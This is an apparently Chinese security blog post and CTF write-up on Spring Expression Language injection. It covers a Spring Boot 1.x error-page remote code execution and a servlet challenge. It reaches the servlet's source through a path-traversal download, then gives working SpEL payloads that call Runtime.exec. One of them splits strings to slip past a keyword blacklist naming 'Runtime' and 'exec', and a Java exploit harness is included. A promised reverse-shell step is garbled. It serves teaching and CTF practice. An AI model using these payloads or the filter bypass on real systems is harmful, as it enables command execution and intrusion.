点击蓝字
关注我们
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce,
导入maven依赖
为了后期debug调试简便些,可以修改一下控制器

SpringBoot 1.1.0-1.1.12
SpringBoot 1.2.0-1.2.7
SpringBoot 1.3.0
SpEL使用 #{} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:
引用其他对象:#{car}引用其他对象的属性:#{car.brand}调用其它方法 , 还可以链式操作:#{car.toString()}
其中属性名称引用还可以用符号$ 如:${someProperty}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:
#{T(java.lang.Math)}T()运算符的结果会返回一个java.lang.Math类对象。
由字符串格式转换成 0x**,即 java 字节形式,方便代码执行:
payload = 'calc'res = ''for i in payload: res += hex(ord(i)) + ','
print(res.rstrip(','))
#${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
传参后弹出calc,成功执行
先启动debug,再打断点,再传参
断点
分析
首先在193行,会将map的值传入context的rootObject中,
之后以this.template和this.resolver为参数调用replacePlaceholders方法。
\<html>\<body>\<h1>Whitelabel Error Page\</h1>\<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.\</p>\<div id='created'>\${timestamp}\</div>\<div>There was an unexpected error (type=\${error}, status=\${status}).\</div>\<div>\${message}\</div>\</body>\</html>
第一次递归
:判断this.placeholderPrefix的首次出现位置,这里placeholderPrefix="${",所以判断后在索引为157的位置找到了第一个\${
:findPlaceholderEndIndex判断157后边的第一个}位置
:结果为168
:substring截取157和168的中间值,即:placeholder=timestamp
:递归调用,又调用了parseStringValue,此时第一个参数placeholder=timestamp
递归后,strVal的值变为timestamp,所以在indexOf判断时,由于没出现${,所以变为了-1,跳过了while循环,直接执行下边的return result.toString();了

第二次递归
第二次递归后startIndex和endIndex的值分别变成了232,239,这是因为在此前将${timestamp}进行了替换,所以这个地方就没有${},于是就需要向下寻找当找到${error}时,发现了\${,并且索引为232;239也同理,再之后的流程跟之前一样不分析了
第三次递归
第四次递归
第四次就是我们用户传入的message了,再跟进分析下(147行前就不解释了)


环境配置
tomcat.apache.org,下载tomcat包
https://repo.spring.io/,下载org.springframework.spring下的包
IDEA中,File->Project Structrue->Libraries中将tomcat\lib\servlet-api.jar和spring\libs\导入即可
复现
下载web.xml找到 TestServlet.class 文件,路径是 test388 /download?filename=../../../classes/com/abc/servlet/TestServlet.class下载源文件
可以用在线反编译工具进行反编译JAVA反向工程网 (javare.cn)
package com.abc.servlet;
import java.io.IOException;import java.util.regex.Matcher;import java.util.regex.Pattern;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.springframework.expression.Expression;import org.springframework.expression.common.TemplateParserContext;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.expression.spel.support.StandardEvaluationContext;
public class TestServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); }
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { String e = request.getParameter("name"); e = new String(e.getBytes("ISO8859-1"), "UTF-8"); if(this.blackMatch(e)) { request.setAttribute("message", "name is invalid"); request.getRequestDispatcher("/message.jsp").forward(request, response); return; }
System.out.println(e); String message = this.getAdvanceValue(e); request.setAttribute("message", message); request.getRequestDispatcher("/message.jsp").forward(request, response); } catch (Exception var5) { request.setAttribute("message", "error"); request.getRequestDispatcher("/message.jsp").forward(request, response); }
}
private boolean blackMatch(String val) { String[] var2 = this.getBlacklist(); int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) { String keyword = var2[var4]; Matcher matcher = Pattern.compile(keyword, 34).matcher(val); if(matcher.find()) { return true; } }
return false; }
private String getAdvanceValue(String val) { TemplateParserContext parserContext = new TemplateParserContext(); SpelExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(val, parserContext); StandardEvaluationContext evaluationContext = new StandardEvaluationContext(); return exp.getValue(evaluationContext).toString(); }
private String[] getBlacklist() { return new String[]{"java.+lang", "Runtime", "exec.*\\("}; }}
导入后进行审计,doGet,doPost,对GET或POST传参进行处理,这里参数name在Post中,所以要进行Post传参调用doPost方法,但doGet方法同样也会调用doPost,所以本题无论GET、POST传参都可
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { String name = request.getParameter("name"); name = new String(name.getBytes("ISO8859-1"), "UTF-8"); if (this.blackMatch(name)) { request.setAttribute("message", "name is invalid"); request.getRequestDispatcher("/message.jsp").forward(request, response); return; }
private boolean blackMatch(String val) { String[] var2 = this.getBlacklist(); int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) { String keyword = var2[var4]; Matcher matcher = Pattern.compile(keyword, 34).matcher(val); if (matcher.find()) { return true; } }
return false;}
private String[] getBlacklist() { return new String[]{"java.+lang", "Runtime", "exec.*\\("}; }
最后就是SPEL注入的利用点了
private String getAdvanceValue(String val) {ParserContext parserContext = new TemplateParserContext();SpelExpressionParser parser = new SpelExpressionParser();Expression exp = parser.parseExpression(val, parserContext);StandardEvaluationContext evaluationContext = new StandardEvaluationContext();return exp.getValue(evaluationContext).toString();}
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}
EXP
package WangRenBei;
import org.springframework.expression.Expression;import org.springframework.expression.ParserContext;import org.springframework.expression.common.TemplateParserContext;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.expression.spel.support.StandardEvaluationContext;
import java.io.UnsupportedEncodingException;import java.util.regex.Matcher;import java.util.regex.Pattern;
public class TestServlet1 {public static void main(String[] args) throws UnsupportedEncodingException {String name="#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}\n";name = new String(name.getBytes("ISO8859-1"), "UTF-8");if (blackMatch(name)) {System.out.println("failed");}System.out.println(name);String message =getAdvanceValue(name);}public static boolean blackMatch(String val) {String[] var2 = getBlacklist();int var3 = var2.length;
for(int var4 = 0; var4 \< var3; ++var4) { String keyword = var2[var4]; Matcher matcher = Pattern.compile(keyword, 34).matcher(val); if (matcher.find()) { return true; } }
return false;}
public static String getAdvanceValue(String val) { ParserContext parserContext = new TemplateParserContext(); SpelExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(val, parserContext); StandardEvaluationContext evaluationContext = new StandardEvaluationContext(); return exp.getValue(evaluationContext).toString();}
public static String[] getBlacklist() { return new String[]{"java.+lang", "Runtime", "exec.*\\("};}}
构造本题反弹shell的payload
#{T(java.lang.Math)}T()运算符的结果会返回一个java.lang.Math类对象。0
url编码后传参

问题

在TemplateParserContext中,自定义了expressionPrefix的值—#{,所以本题才需要用#{}
往期推荐
还没有评论,来说两句吧...